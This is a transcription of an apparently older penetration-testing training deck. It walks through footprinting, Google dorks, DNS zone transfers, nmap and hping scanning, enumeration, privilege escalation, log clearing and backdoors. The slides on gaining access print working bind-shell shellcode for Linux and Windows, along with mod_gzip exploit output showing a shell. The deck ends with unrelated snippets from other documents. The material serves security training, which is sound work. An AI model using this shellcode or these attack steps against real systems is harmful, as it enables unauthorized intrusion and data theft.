Team Cymru. Penetration Testing. Ryan Connolly, <
|
|
|
- Nicholas Davidson
- 10 years ago
- Views:
Transcription
1 Team Cymru Penetration Testing Ryan Connolly, <
2 Penetration Testing Agenda Pentesting Basics Pentesting Defined Vulnerability Scanning vs. Penetration testing Pentesting Strategy Anecdotes from real pentests Conducting a good vulnerability scan Footprint, Scan, Enumerate, Gain Access, Escalate, Pilfer, Cover Track, Create Backdoor Demos Review
3 Why Penetration Testing? Financial institutions must secure their networks in order to maintain the security of the entire financial system But with no ability to assess risk organizations are flying blind IT Security assessments are done today with a mixture of Vulnerability Scanning and Penetration Testing
4 What is Penetration Testing?
5 Dave s new job as a Pen Tester wasn t anything at all like he d expected
6 Penetration Testing Attempt to compromise security by using the same techniques of the attacker If I was an attacker, how far would I be able to go? How easy is it to compromise this computer network application system?
7 Vulnerability Scanning or Penetration Testing?
8 Vulnerability Scanning Look for evidence of Vulnerable software versions Presence or lack of patches Misconfiguration
9 The bad guys don t run Nessus
10 Vulnerability Scanning alone is not sufficient Does not tell you what an attacker can do to your network today Does not identify dangerous trust relationships between components Lots of false-positives are produced Must be manually verified Only actionable items are list of missing patches
11 Organizations should take advantage of both VS and PT VS provides a baseline from which to start building a risk profile A Penetration Test illustrates what those vulnerabilities mean to the organization today, and can help verify remediation efforts The financial system cannot afford for institutions not to perform periodic Penetration Tests
12 Key elements of a Penetration Test Discover and exploit vulnerabilities throughout the network Leverage trust-relationships among components Access critical information
13 Example After exploiting a vulnerability in the Exchange server, we were able to collect a list of valid users and passwords. We then used this server to attack the database server in the DMZ (which wasn t visible from the outside). One of the exploits was successful and we gained administrator access to the server, including complete access to all tables in the customers database.
14 A good pen-test Covers all relevant attack vectors Clearly shows how vulnerable assets can be compromised Tests the system as a whole, including existing defense mechanisms Documents all activities performed
15 Common mistakes organizations make when doing PT Limit the test to running a vulnerability scanner Testing components in isolation Company changes environment while test is being performed Overlooking critical relationships, such as suppliers, partners and outsourcing/offshoring vendors
16 Signs that a test wasn t thorough Limited to small subset of network Produced a laundry list of vulnerabilities, with no additional verification No interpretation of findings, or hand waving No recommendations beyond list of missing vendor patches Lack of detailed activity logs, and/or problems with clean-up
17 Pentesting Strategy How much testing is good enough?
18 Managing Risk Risk Money
19 It is always possible to hack a network It just depends on how hard you try But smart companies Invest in technology and processes that help them reduce the most risk, with the least amount of resources Assume they will be hacked eventually and prepare accordingly
20 How often can we test costeffectively? Penetration Testing was traditionally done once or twice a year due to high cost of service Automated Penetration Testing software is enabling organizations today to test more often 75% of IMPACT customers doing testing on a monthly and weekly basis, in contrast with 50% doing it once or twice a year in late 2004
21 Security as an emergent property The security of a system is determined by the security of each of its components individually and of the system as a whole
22 Organizations are getting better at Deploying OS updates on high-profile public servers Hardening network services on public servers Securing the perimeter with properly configured firewalls and routers
23 Penetrating a network through its perimeter is much more difficult today than it was 5 years ago
24 Organizations still have trouble with Client side security Custom web applications Internal security Dealing with continuous change and an everexpanding network of partners, customers and suppliers
25 Attackers are not standing still Industry data points to significant increase in the prevalence and criticality of client-side vulnerabilities A shift towards finding vulnerabilities in client-side software is occurring (SANS and Symantec security threat reports) 8 out of 20 categories in latest SANS Top 20 report relate directly to client-side vulnerabilities High profile incidents taking advantage of vulnerabilities in clientside software Windows Metafile image exploit in MySpace.com ad deploys trojan on compromised computers (July 06) Organizations with good perimeter security are still wide open to attacks against client-side vulnerabilities
26 Client Side Vulnerabilities Vulnerabilities in client-side software IE, Firefox, Outlook, Thunderbird, MSN Messenger, AOL IM, ICQ, Media Players, and image and document readers/processors Examples IE devenum.dll COM Object vulnerability (MS05-038) MSN messenger PNG Processing vulnerability (MS05-009) Windows WMF vulnerability (KB912840) Remote/Local, High/Medium/Low? No good fit in current vulnerability taxonomies
27 The user s workstation is less protected & more complex than the publicly available servers has legitimate access to the network s critical assets connects the Internet with the internal network
28 Internal network still wide open Security much more relaxed than on public facing servers Internal computers are not patched correctly even though automated patch mgmt is in place Less (sometimes non-existent) network segmentation Plenty of trust relationships that can be leveraged
29 Random anecdotes from real pen tests
30 Pen Test #1 Collected valid addresses using a badly configured SMTP server and a list of common names in various languages Spammed targets with probe Web bug in <img> to fingerprint targets UNC web bug to force authentication with a fake SMB server Exploited Java vulnerability
31 Pen Test #2 Collected addresses by searching MIT s PGP keys server and internet newsgroups Some mail archives had complete headers Created profile of each user Workstation details: OS, browser, MUA Personal details: hobbies, favorites, contacts, level of computer proficiency Segmented attack and customized s based on profile
32 Pen Test #2b 1 single produced about 40 different successful compromises in a matter of minutes Done by hitting an alias for a mailing list
33 Pen Test #3 Target network divided in two different company branches Launched exploits against both sub-nets. Exploits for the 1 st failed, but for the 2 nd succeeded Company had network intrusion prevention active on one side of the network but not on the other
34 Pen Test #4 Compromised ad-hoc test server with old exploit Replaced SSH daemon with trojan Collected usernames and passwords that were valid on other more important servers on the network
35 Simple attacks still work Sent trojanized executable as menu for new Pizzeria Engage in conversation via IM and send a trojan Fedex sample CD-ROMs with active content
36 A good pen-test Covers all relevant attack vectors Clearly shows how vulnerable assets can be compromised Tests the system as a whole, including existing defense mechanisms Documents all activities performed
37 The Pentesting Process Think like the bad guys: use the same process. Consider: 1. Social engineering factor 2. Technical factor 3. Iterative learning
38 Pentesting Vulnerability Scanning Now that we ve talked about not just doing vulnerability scans, let s talk about Vulnerabilty scaninng!
39 Network attack process Cover Tracks Pilfer Create Backdoor Scan Enumerate Gain Access Escalate Footprint
40 Footprinting Techniques: Open source search whois DNS zone transfers Tools: USENet, search engines networksolutions.com, other registrars nslookup, dig Objective: IP addresses Domain names
41 Google hacking Footprinting Finding information about the target using google Information inadvertently opened to the web: shell history files (intitle:index.of.bash_history) misconfigured intranet portals ("Welcome to Intranet") Panasonic network cameras (inurl:"viewerframe?mode= ) The results of pentests! ( ************************ performed a vulnerability assessment ) Vulnerable software Known cross-site scripting vul. ("PHP*************inurl:Admin.php") Known PHP vulnerabilities ("Powered by: ********** Version ) remote code execution!
42 Google hacking Directory listings: Footprinting intitle:index.of site: <mydomain.com> (Apache) Errors & Warning messages error warning site: <mydomain.com> harvesting how DID they get my address? Google API makes automated queries easy. Find exposed subdomains - can an attacker find your critical network elements?
43 Footprinting Poking around <mycompany.com> s website comments in source code developer addresses names of administrators maybe internal telephone numbers USENET, other web forums questions from <mycompany.com> personnel about hardware/software being used more addresses, names of employees, etc
44 whois <mycompany.com> Footprinting - whois Registrant: <MyCompany Headquarters> 123 Main St Vulnerable, CA USA Domain Name: <mycompany.com> Administrative Contact: <MyCompany> John Doe john@<mycompany.com> One MyCompany Way Vulnerable, CA USA tel: fax:
45 Footprinting - whois Technical Contact: dave@<mycompany.com> One MyCompany Way Vulnerable, CA USA tel: fax: Record expires on 23-Sep Record created on 22-Sep Database last updated on 24-Feb :39:54 EST. Domain servers in listed order: dns-1.ns.<mycompany>.com dns-2.ns.<mycompany>.com dns-3.ns.<mycompany>.com dns-4.ns.<mycompany>.com
46 Footprinting - whois Doesn t seem too bad what can be done with this? Search google, USENET, technical forums for john@<mycompany.com> and dave@<mycompany.com> Call main company number, try to impersonate John Doe, the system admin may work especially well if details on John can be found online, say on a a webpage an early morning call to the company operator: I m sorry, my daughter Karen is sick today, and I m working from home could you put me through to Jane (the CFO s secretary), there s a problem with her account. May or may not work depending on: How well-trained the operators are Does the company have an internal phone directory? Would this call be unusual? How big is the company? Would the operator know John s voice? Keep in mind: much whois information is purposefully inaccurate, and is often outdated
47 How DNS works Footprinting - DNS Root Level Domains (. ).com.net.org Top Level Domains (TLD) Second Level Domains <mycompany> Third Level (sub) Domains <mail> <iis> <sales>
48 Zone transfer Footprinting - DNS Zones are used so an administrator can make changes to a primary nameserver that can be replicated to a secondary one If an administrator wishes to add an entry for finance-dept.<mycompany.com>, he can modify the entry on ns1.<mycompany.com> and use a zone transfer to replicate it to ns2.<mycompany.com>
49 Footprinting - DNS Zone transfer con t Properly configured, ns1.<mycompany.com> should only allow zone transfers from ns2.<mycompany.com> (or other company nameservers). If ns1.<mycompany.com> allows zone transfers from the public internet, then we can pull down the entire zone for our own use.
50 Footprinting DNS zone transfers From whois, we obtained the domain servers: Domain servers in listed order: NS1.<mycompany>.COM NS2.<mycompany>.COM NS3.<mycompany>.COM NS4.<mycompany>.COM Resolve the IPs of these nameservers: # nslookup ns1.<mycompany.com> Non-authoritative answer: Name: ns1.<mycompany.com> Address: Repeat for the others. So, we have the following nameserver IPs: , , ,
51 Footprinting DNS zone transfers Attempt to preform a zone transfer on each of these nameservers, to see if any is misconfigured: # <mycompany.com> << >> DiG << <mycompany.com> axfr ; (1 server found) ;; global options: printcmd ; Transfer failed # <mycompany.com> This one works!
52 Footprinting DNS zone transfers Doamin name Query class Record type Entry <mycomp>.com. IN MX .<mycompany>.com. <mycomp>.com. IN MX spamfilter.<mycomp>.com. <cust>.<mycomp>.com. IN A IN CNAME <customer>.<mycomp>.com. cisco2611.<mycomp>.com. IN A demo.<mycomp>.com. IN A dev2.<mycomp>.com. IN A labs.<mycomp>.com. IN A test.<mycomp>.com. IN A IN A Notice both internal ( x) IPs and public ( x ) IPs. Gives us a starting point notice the test system with a public IP. More likely to be less patched, perhaps? Also notice the Cisco 2611 with a a public IP.
53 Footprinting DNS zone transfers When zone transfers don t work, we can still: Do reverse DNS lookups across relevant subnets Use other DNS tools like dnspredict, dnswalk Scan entire subnets So, that brings us to. Scanning!
54 Scanning Objective: Bulk target assessment Identify listening services Focus on promising avenues of entry Techniques: Ping sweep TCP/UDP port scans others Tools: ping, nmap, Internet Scanner, BindView Hacker Shield, Nessus, Metasploit, Core Impact, CANVAS
55 Scanning - nmap The next generation (of the tools that came before it) integrates all of their capabilities in a single tool: Stealth scanning Stack analysis/tcp fingerprinting Sequence number prediction Decoy
56 Scanning - nmap One of the most popular pentesting tools (if not the most popular) Many stealth features TCP/IP fingerprinting for remote OS detection (whitepaper: Version detection (important!) and good! Firewall/IDS evasion techniques (fragmented packets, TTL, timing options) IPv6 scanning Scan a subnet or a single IP
57 Typical (default) operation: # nmap A O /24 Scanning - nmap What happens: 1. Host discovery see which IPs within the /24 are active. Sends an ACK packet destined for port 80 ICMP echo request Options exist to send TCP SYN/ACK, UDP, ICMP, etc, probes on various ports for host discovery If hosts are on a local subnet, ARP host discovery is used. 2. Upon discovering an active host: Probes all ports up to 1024 and 636 other higher ports defined in config file (scan order is randomized by default). Will try to guess what type of service based on response (fallback is to use port number to guess the service). -- banner grabbing and other techniques Default port scan uses simple SYN packets, but many options are available.
58 Scanning - nmap TCP SYN ( half-open ) scan: # nmap v A O Pentesting platform TCP SYN packet Src: Dst: 22 Target machine Pentesting platform Return TCP packet Src: Dst: 22 Target machine If return packet is SYN/ACK If return packet is RST If no response port 22 is listening. port 22 is not listening. port 22 is filtered. Somewhat stealthy because a full connection is not made but still pretty obvious as a scan by most IDS devices.
59 Scanning - nmap TCP NULL, FIN, and Xmas scans: Success is dependent on the implementation of the TCP stack on the target machine. Makes use of how responses for malformed packets are treated under the TCP RFC. #nmap sn v A O Pentesting platform TCP NULL (Sets no bits in header). Src: Dst: 22 Target machine Pentesting platform Return TCP packet Src: Dst: 22 Target machine If return packet is RST If no response If ICMP unreachable error port 22 is closed. port 22 is either open or filtered. port 22 is filtered. Windows machines don t compny with this RFC they send RST if the port is either open or closed.
60 Scanning - nmap # nmap -A -v -O scanme.nmap.org Host scanme.nmap.org ( ) appears to be up... good. Interesting ports on scanme.nmap.org ( ): Not shown: 1635 filtered ports, 37 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.3 (protocol 2.0) 25/tcp open smtp 53/tcp open domain ISC Bind /tcp open http Apache httpd ((Fedora)) 110/tcp open pop3? 1080/tcp open http-proxy Tinyproxy /tcp open http-proxy Tinyproxy /tcp open http-proxy Tinyproxy TCP Sequence Prediction: Class=truly random Difficulty= (Good luck!) IPID Sequence Generation: Incremental Nmap finished: 1 IP address (1 host up) scanned in seconds Raw packets sent: 5313 ( KB) Rcvd: 5302 ( KB)
61 Scanning - nmap
62 hping Custom packet crafting Conceptually, a TCP version of Ping, and more. Sends custom TCP packets to a host and listens for replies Enables port scanning and spoofing simultaneously, by crafting packets and analyzing the return
63 hping v3.0 Uses hping crafted packets to: Test firewall rules Test net performance Remotely fingerprint OSes Audit TCP/IP stacks Transfer files across a firewall Check if a host is up a TCP-based ping will sometimes traverse a firewall where an ICMP request will not Craft custom TCP packets set custom window size, TTL, flags, packet size, anything!
64 Inverse mapping using hping Create a custom RST packet: # hping R Pentesting platform TCP RST Src: Dst: Any Target machine Pentesting platform Src: Return packet Target machine If return packet is ICMP Unreachable If no response host doesn t exist host does exist Quite stealthy many IDSes don t detect it because of the large number of RST packets in the wild.
65 Enumeration Objective: Identify valid user accounts Find poorly protected resources or shares Identify vulnerable applications on target hosts Techniques: List user accounts nc -v 80 List file shares Identify application versions by fingerprinting (banner grabbing) Tools: dumpacl, sid2user (Microsoft systems) showmount (Unix systems) Banner grabbing (netcat, telnet, rpcinfo, nessus, etc)
66 Enumeration telnet more versioning Very simple way to banner grab to find versions: # telnet scanme.nmap.org 22 Trying Connected to scanme.nmap.org. Escape character is '^]'. SSH-2.0-OpenSSH_4.3 ^] telnet> quit Connection closed. Keep in mind that many people fake their banners to deliver incorrect messages.
67 Enumeration userids on a Windows domain F:\DEV\cpp\GetUserInfo>getuserinfo \\2k3utl01\. GetUserInfo V cpp Joe Richards ([email protected]) September 2003 User Accounts for \\2k3utl admin Administrator ASPNET dsauter Guest IUSR_2K3UTL01 IWAM_2K3UTL01 joe SUPPORT_388945a0 Requires no special permissions or hacks to run. Making use of the calls to the Windows API for security identifiers of the user accounts. Doesn t work on Windows XP SP2. (
68 Objective: Enter target computer Establish toe-hold Gaining Access Techniques: Password stealing or eavesdropping (Man in the Middle Atack) Brute force access Buffer overflow Tools: tcpdump, L0phtCrack s readsmb tftp (grab /etc/passwd on Unix hosts) pwdump2 (grab password hashes on W2K, Win 2003 systems) Scripts targeting known vulnerabilities Keyloggers, spyware, root kits, LKMs metasploit, nessus, canvas, impact
69 What is a Buffer Overflow? A buffer overflow occurs when: Bytes are copied from one memory location to another without proper bounds checking. Destination Source
70 Buffer Overflows on the Stack func_2 s buf s address func_1 s address evil_byte_code() buf c, d a, b func_3() { char buf[100]; func_2() { int c, d; func_1() { int a, b; } read_user_input(buf); } func_3(); } func_2(); Malicious user supplies input to buf a very carefully constructed string containing byte code that is longer than the 100-byte size of buf. This overwrites func_2 s address with buf s address. When func_3 returns, it will branch to buf instead of func_2.
71 Gaining Access // Apache mod_gzip (with debug_mode) <= a Remote Exploit /* \ [exploit code] for mod_gzip (with debug_mode) <= a / \ Created by xcrzx crazy_einstein yahoo com / / / \ Tested on RedHat 8.0 (Psyche) (here is target for it), / also tested on FreeBSD 4.7 ( a) (here is no target for it :) / / remote exploit for mod_gzip (debug_mode) [Linux/*BSD] \ by xcrzx [[email protected]] / / / \ Using: ret_err = 0x , ret = 0xbfffd8f0 / \ [!] Connecting to localhost:80 / [+] Connected! \ [*] Trying to connect to localhost:2003 port!!! Pray for success! / [*] Sleeping at 2 seconds... \ / [!] Shell is accessible! \ / uid=99(nobody) gid=99(nobody) groups=99(nobody) \ Linux blacksand #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686
72 Gaining Access Linux Shell Code struct TARGETS { char *distr; long ret; long std_err; char *shellcode; char *jmp; } targets[] = { /* you can add targets here */ {"RedHat 8.0 (Psyche)", // disributive info 0xbfffd8f0, // return address in stack 0x , // address of stderr //shellcode for Linux x86 -> bind shell on 2003 port// "\x31\xc0\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80" "\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d" "\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14\x66\xc7\x45\x16" "\x07\xd3\x31\xd2\x89\x55\x18\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10" "\xb0\x66\xcd\x80\x40\x89\x45\x0c\x43\x43\xb0\x66\xcd\x80\x43\x89\x45" "\x0c\x89\x45\x10\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41" "\x80\xf9\x03\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62" "\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80",
73 Gaining Access Win Shell Code // MS Frontpage Server Extensions fp30reg.dll Exploit (MS03-051) /******** bind shellcode spawns persistent shell on port 9999 *****************************/ unsigned char kyrgyz_bind_code[] = { 0xEB, 0x03, 0x5D, 0xEB, 0x05, 0xE8, 0xF8, 0xFF, 0xFF, 0xFF, 0x8B, 0xC5, 0x83, 0xC0, 0x11, 0x33, 0xC9, 0x66, 0xB9, 0xC9, 0x01, 0x80, 0x30, 0x88, 0x40, 0xE2, 0xFA, 0xDD, 0x03, 0x64, 0x03, 0x7C, 0x09, 0x64, 0x08, 0x88, 0x88, 0x88, 0x60, 0xC4, 0x89, 0x88, 0x88, 0x01, 0xCE, 0x74, 0x77, 0xFE, 0x74, 0xE0, 0x06, 0xC6, 0x86, 0x64, 0x60, 0xD9, 0x89, 0x88, 0x88, 0x01, 0xCE, 0x4E, 0xE0, 0xBB, 0xBA, 0x88, 0x88, 0xE0, 0xFF, 0xFB, 0xBA, 0xD7, 0xDC, 0x77, 0xDE, 0x4E, 0x01, 0xCE, 0x70, 0x77, 0xFE, 0x74, 0xE0, 0x25, 0x51, 0x8D, 0x46, 0x60, 0xB8, 0x89, 0x88, 0x88, 0x01, 0xCE, 0x5A, 0x77, 0xFE, 0x74, 0xE0, 0xFA, 0x76, 0x3B, 0x9E, 0x60, 0xA8, 0x89, 0x88, 0x88, 0x01, 0xCE, 0x46, 0x77, 0xFE, 0x74, 0xE0, 0x67, 0x46, 0x68, 0xE8, 0x60, 0x98, 0x89, 0x88, 0x88, 0x01, 0xCE, 0x42, 0x77, 0xFE, 0x70, 0xE0, 0x43, 0x65, 0x74, 0xB3, 0x60, 0x88, 0x89, 0x88, 0x88, 0x01, 0xCE, 0x7C, 0x77, 0xFE, 0x70, 0xE0, 0x51, 0x81, 0x7D, 0x25, 0x60, 0x78, 0x88, 0x88, 0x88, 0x01, 0xCE, 0x78, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x92, 0xF8, 0x4F, 0x60, 0x68, 0x88, 0x88, 0x88, 0x01, 0xCE, 0x64, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x25, 0xA6, 0x61, 0x60, 0x58, 0x88, 0x88, 0x88, 0x01, 0xCE, 0x60, 0x77, 0xFE, 0x70, 0xE0, 0x6D, 0xC1, 0x0E, 0xC1, 0x60, 0x48, 0x88, 0x88, 0x88, 0x01, 0xCE, 0x6A, 0x77, 0xFE, 0x70, 0xE0, 0x6F, 0xF1, 0x4E, 0xF1, 0x60, 0x38, 0x88, 0x88, 0x88, 0x01, 0xCE, 0x5E, 0xBB, 0x77, 0x09, 0x64, 0x7C, 0x89, 0x88, 0x88, 0xDC, 0xE0, 0x89, 0x89, 0x88, 0x88, 0x77, 0xDE, 0x7C, 0xD8, 0xD8, 0xD8, 0xD8, 0xC8, 0xD8, 0xC8, 0xD8, 0x77, 0xDE, 0x78, 0x03, 0x50, 0xDF, 0xDF, 0xE0, 0x8A, 0x88, 0xAF, 0x87, 0x03, 0x44, 0xE2, 0x9E, 0xD9, 0xDB, 0x77, 0xDE, 0x64, 0xDF, 0xDB, 0x77, 0xDE, 0x60, 0xBB, 0x77, 0xDF, 0xD9, 0xDB, 0x77, 0xDE, 0x6A, 0x03, 0x58, 0x01, 0xCE, 0x36, 0xE0, 0xEB, 0xE5, 0xEC, 0x88, 0x01, 0xEE, 0x4A, 0x0B, 0x4C, 0x24, 0x05, 0xB4, 0xAC, 0xBB, 0x48, 0xBB, 0x41, 0x08, 0x49, 0x9D, 0x23, 0x6A, 0x75, 0x4E, 0xCC, 0xAC, 0x98, 0xCC, 0x76, 0xCC, 0xAC, 0xB5, 0x01, 0xDC, 0xAC, 0xC0, 0x01, 0xDC, 0xAC, 0xC4, 0x01, 0xDC, 0xAC, 0xD8, 0x05, 0xCC, 0xAC, 0x98, 0xDC, 0xD8, 0xD9, 0xD9, 0xD9, 0xC9, 0xD9, 0xC1, 0xD9, 0xD9, 0x77, 0xFE, 0x4A, 0xD9, 0x77, 0xDE, 0x46, 0x03, 0x44, 0xE2, 0x77, 0x77, 0xB9, 0x77, 0xDE, 0x5A, 0x03, 0x40, 0x77, 0xFE, 0x36, 0x77, 0xDE, 0x5E, 0x63, 0x16, 0x77, 0xDE, 0x9C, 0xDE, 0xEC, 0x29, 0xB8, 0x88, 0x88, 0x88, 0x03, 0xC8, 0x84, 0x03, 0xF8, 0x94, 0x25, 0x03, 0xC8, 0x80, 0xD6, 0x4A, 0x8C, 0x88, 0xDB, 0xDD, 0xDE, 0xDF, 0x03, 0xE4, 0xAC, 0x90, 0x03, 0xCD, 0xB4, 0x03, 0xDC, 0x8D, 0xF0, 0x8B, 0x5D, 0x03, 0xC2, 0x90, 0x03, 0xD2, 0xA8, 0x8B, 0x55, 0x6B, 0xBA, 0xC1, 0x03, 0xBC, 0x03, 0x8B, 0x7D, 0xBB, 0x77, 0x74, 0xBB, 0x48, 0x24, 0xB2, 0x4C, 0xFC, 0x8F, 0x49, 0x47, 0x85, 0x8B, 0x70, 0x63, 0x7A, 0xB3, 0xF4, 0xAC, 0x9C, 0xFD, 0x69, 0x03, 0xD2, 0xAC, 0x8B, 0x55, 0xEE, 0x03, 0x84, 0xC3, 0x03, 0xD2, 0x94, 0x8B, 0x55, 0x03, 0x8C, 0x03, 0x8B, 0x4D, 0x63, 0x8A, 0xBB, 0x48, 0x03, 0x5D, 0xD7, 0xD6, 0xD5, 0xD3, 0x4A, 0x8C, 0x88 };
74 Scanning and gaining access Commercial tools: CORE IMPACT eeye Retina CANVAS Free tools: Nessus a vulnerability scanner, v3 free, v2 open source Metasploit open source
75 Gaining Access brute forcing ssh brute forcing Easy! Need a list of user accounts Only need one person to have a poor password Once you have user-level access on a machine, privilege escalation is necessary for root Not just ssh, also other logon services (think VNC, ftp, SMB, https, etc) Easily seen in logs but are you watching?
76 Escalating Privilege Objective: Gain complete control Gain ROOT or ADMIN Techniques: Password cracking Published exploits Reverse telnet, cron jobs Hunting for unprotected information and clues Tools: crack, l0phtcrack, john the ripper rdist, getadmin, sechole Scripts targeting known vulnerabilities rootkits
77 Root Shell The "holy grail" of an attack (such as a buffer overflow) is the creation of a "root shell". On UNIX, the "root" user has control over the machine. There are three ways that such shells can be bound to connections: Conversion - The TCP connection used to exploit the server (such as for FTP, DNS, RPC) is converted to a shell-prompt. Connect - The exploit code creates an outbound connection from the exploited machine back to the attacker. Packet sniffing is a form of wire-tap applied to computer networks instead of phone networks. Ethereal is a freeware packet sniffer for Windows and Unix.
78 Pilfering Objective: Gather details on local files, users, hidden information Gain access to trusted systems Establish drop site for tools or take advantage of CPU cycles Techniques: Listing directory structures, shares, registry information Searching for trusted relationships Searching for cleartext passwords Revealing Local Security Authority (LSA) secrets Tools: revelation, barok rdist, rhosts, getadmin, sechole Scripts targeting known vulnerabilities
79 LSA Secrets via Revelation
80 Covering Tracks Objective: Hide intrusion from system administrators Destroy evidence of how access was gained Remain stealthy in order to keep ROOT or ADMIN access Techniques: Clear logs Hide tools Tools: zap, invisible, cloak, stealth rdist, rhosts, getadmin, sechole Scripts targeting known vulnerabilities
81 Creating Backdoors Objective: Ensure that access can be regained Create several backdoors in various areas of the system Techniques: Create rogue user accounts Replace applications with trojans Modify startup files Install monitors Tools: Modify registry netcat, remote.exe Virtual Network Computing (VNC), Sub7 Add accounts to mail aliases, especially sysadmin
82 Pentesting: to review 1) Vulnerability scanning isn t enough. 2) Be sure to include the social engineering factor. 3) Include ALL systems and processes 4) but, also do a vulnerability scan. 5) When doing a vulnerability scan, be as thorough as possible the bad guys don t actually use nessus!
83 Thank you! Questions? Ryan Connolly,
CIT 380: Securing Computer Systems
CIT 380: Securing Computer Systems Scanning CIT 380: Securing Computer Systems Slide #1 Topics 1. Port Scanning 2. Stealth Scanning 3. Version Identification 4. OS Fingerprinting 5. Vulnerability Scanning
Port Scanning and Vulnerability Assessment. ECE4893 Internetwork Security Georgia Institute of Technology
Port Scanning and Vulnerability Assessment ECE4893 Internetwork Security Georgia Institute of Technology Agenda Reconnaissance Scanning Network Mapping OS detection Vulnerability assessment Reconnaissance
Vulnerability Assessment and Penetration Testing
Vulnerability Assessment and Penetration Testing Module 1: Vulnerability Assessment & Penetration Testing: Introduction 1.1 Brief Introduction of Linux 1.2 About Vulnerability Assessment and Penetration
Overview of Network Security The need for network security Desirable security properties Common vulnerabilities Security policy designs
Overview of Network Security The need for network security Desirable security properties Common vulnerabilities Security policy designs Why Network Security? Keep the bad guys out. (1) Closed networks
Security Threat Kill Chain What log data would you need to identify an APT and perform forensic analysis?
Security Threat Kill Chain What log data would you need to identify an APT and perform forensic analysis? This paper presents a scenario in which an attacker attempts to hack into the internal network
Penetration Testing with Kali Linux
Penetration Testing with Kali Linux PWK Copyright 2014 Offensive Security Ltd. All rights reserved. Page 1 of 11 All rights reserved to Offensive Security, 2014 No part of this publication, in whole or
Stop that Big Hack Attack Protecting Your Network from Hackers. www.lauraknapp.com
Stop that Big Hack Attack Protecting Your Network from Hackers Laura Jeanne Knapp Technical Evangelist 1-919-224-2205 [email protected] www.lauraknapp.com NetSec_ 010 Agenda Components of security threats
Learn Ethical Hacking, Become a Pentester
Learn Ethical Hacking, Become a Pentester Course Syllabus & Certification Program DOCUMENT CLASSIFICATION: PUBLIC Copyrighted Material No part of this publication, in whole or in part, may be reproduced,
Penetration Testing. NTS330 Unit 1 Penetration V1.0. February 20, 2011. Juan Ortega. Juan Ortega, [email protected]. 1 Juan Ortega, juaorteg@uat.
1 Penetration Testing NTS330 Unit 1 Penetration V1.0 February 20, 2011 Juan Ortega Juan Ortega, [email protected] 1 Juan Ortega, [email protected] 2 Document Properties Title Version V1.0 Author Pen-testers
Penetration Testing Report Client: Business Solutions June 15 th 2015
Penetration Testing Report Client: Business Solutions June 15 th 2015 Acumen Innovations 80 S.W 8 th St Suite 2000 Miami, FL 33130 United States of America Tel: 1-888-995-7803 Email: [email protected]
Vulnerability Assessment and Penetration Testing. CC Faculty ALTTC, Ghaziabad
Vulnerability Assessment and Penetration Testing CC Faculty ALTTC, Ghaziabad Need Vulnerabilities Vulnerabilities are transpiring in different platforms and applications regularly. Information Security
Web Application Threats and Vulnerabilities Web Server Hacking and Web Application Vulnerability
Web Application Threats and Vulnerabilities Web Server Hacking and Web Application Vulnerability WWW Based upon HTTP and HTML Runs in TCP s application layer Runs on top of the Internet Used to exchange
Port Scanning. Objectives. Introduction: Port Scanning. 1. Introduce the techniques of port scanning. 2. Use port scanning audit tools such as Nmap.
Port Scanning Objectives 1. Introduce the techniques of port scanning. 2. Use port scanning audit tools such as Nmap. Introduction: All machines connected to a LAN or connected to Internet via a modem
The Nexpose Expert System
Technical Paper The Nexpose Expert System Using an Expert System for Deeper Vulnerability Scanning Executive Summary This paper explains how Rapid7 Nexpose uses an expert system to achieve better results
ITEC441- IS Security. Chapter 15 Performing a Penetration Test
1 ITEC441- IS Security Chapter 15 Performing a Penetration Test The PenTest A penetration test (pentest) simulates methods that intruders use to gain unauthorized access to an organization s network and
Demystifying Penetration Testing
Demystifying Penetration Testing Prepared by Debasis Mohanty www.hackingspirits.com E-Mail: [email protected] Goals Of This Presentation An overview of how Vulnerability Assessment (VA) & Penetration
Presented By: Holes in the Fence. Agenda. IPCCTV Attack. DDos Attack. Why Network Security is Important
Presented By: Holes in the Fence Dave Engebretson, Contributing Technology writer, SDM Magazine Industry Instructor in Fiber and Networking Prevention of Security System breaches of networked Edge Devices
Lecture 5: Network Attacks I. Course Admin
Lecture 5: Network Attacks I CS 336/536: Computer Network Security Fall 2013 Nitesh Saxena Adopted from previous lectures by Keith Ross Course Admin HW/Lab 1 Due Coming Monday 11am Lab sessions are active
Network and Host-based Vulnerability Assessment
Network and Host-based Vulnerability Assessment A guide for information systems and network security professionals 6600 Peachtree-Dunwoody Road 300 Embassy Row Atlanta, GA 30348 Tel: 678.443.6000 Toll-free:
An Introduction to Nmap with a Focus on Information Gathering. Ionuț Ambrosie
An Introduction to Nmap with a Focus on Information Gathering Ionuț Ambrosie January 12, 2015 During the information gathering phase of a penetration test, tools such as Nmap can be helpful in allowing
1 hours, 30 minutes, 38 seconds Heavy scan. All scanned network resources. Copyright 2001, FTP access obtained
home Network Vulnerabilities Detail Report Grouped by Vulnerability Report Generated by: Symantec NetRecon 3.5 Licensed to: X Serial Number: 0182037567 Machine Scanned from: ZEUS (192.168.1.100) Scan Date:
Looking for Trouble: ICMP and IP Statistics to Watch
Looking for Trouble: ICMP and IP Statistics to Watch Laura Chappell, Senior Protocol Analyst Protocol Analysis Institute [[email protected]] www.packet-level.com www.podbooks.com HTCIA Member,
Firewalls. Firewalls. Idea: separate local network from the Internet 2/24/15. Intranet DMZ. Trusted hosts and networks. Firewall.
Firewalls 1 Firewalls Idea: separate local network from the Internet Trusted hosts and networks Firewall Intranet Router DMZ Demilitarized Zone: publicly accessible servers and networks 2 1 Castle and
1. LAB SNIFFING LAB ID: 10
H E R A LAB ID: 10 SNIFFING Sniffing in a switched network ARP Poisoning Analyzing a network traffic Extracting files from a network trace Stealing credentials Mapping/exploring network resources 1. LAB
A1.1.1.11.1.1.2 1.1.1.3S B
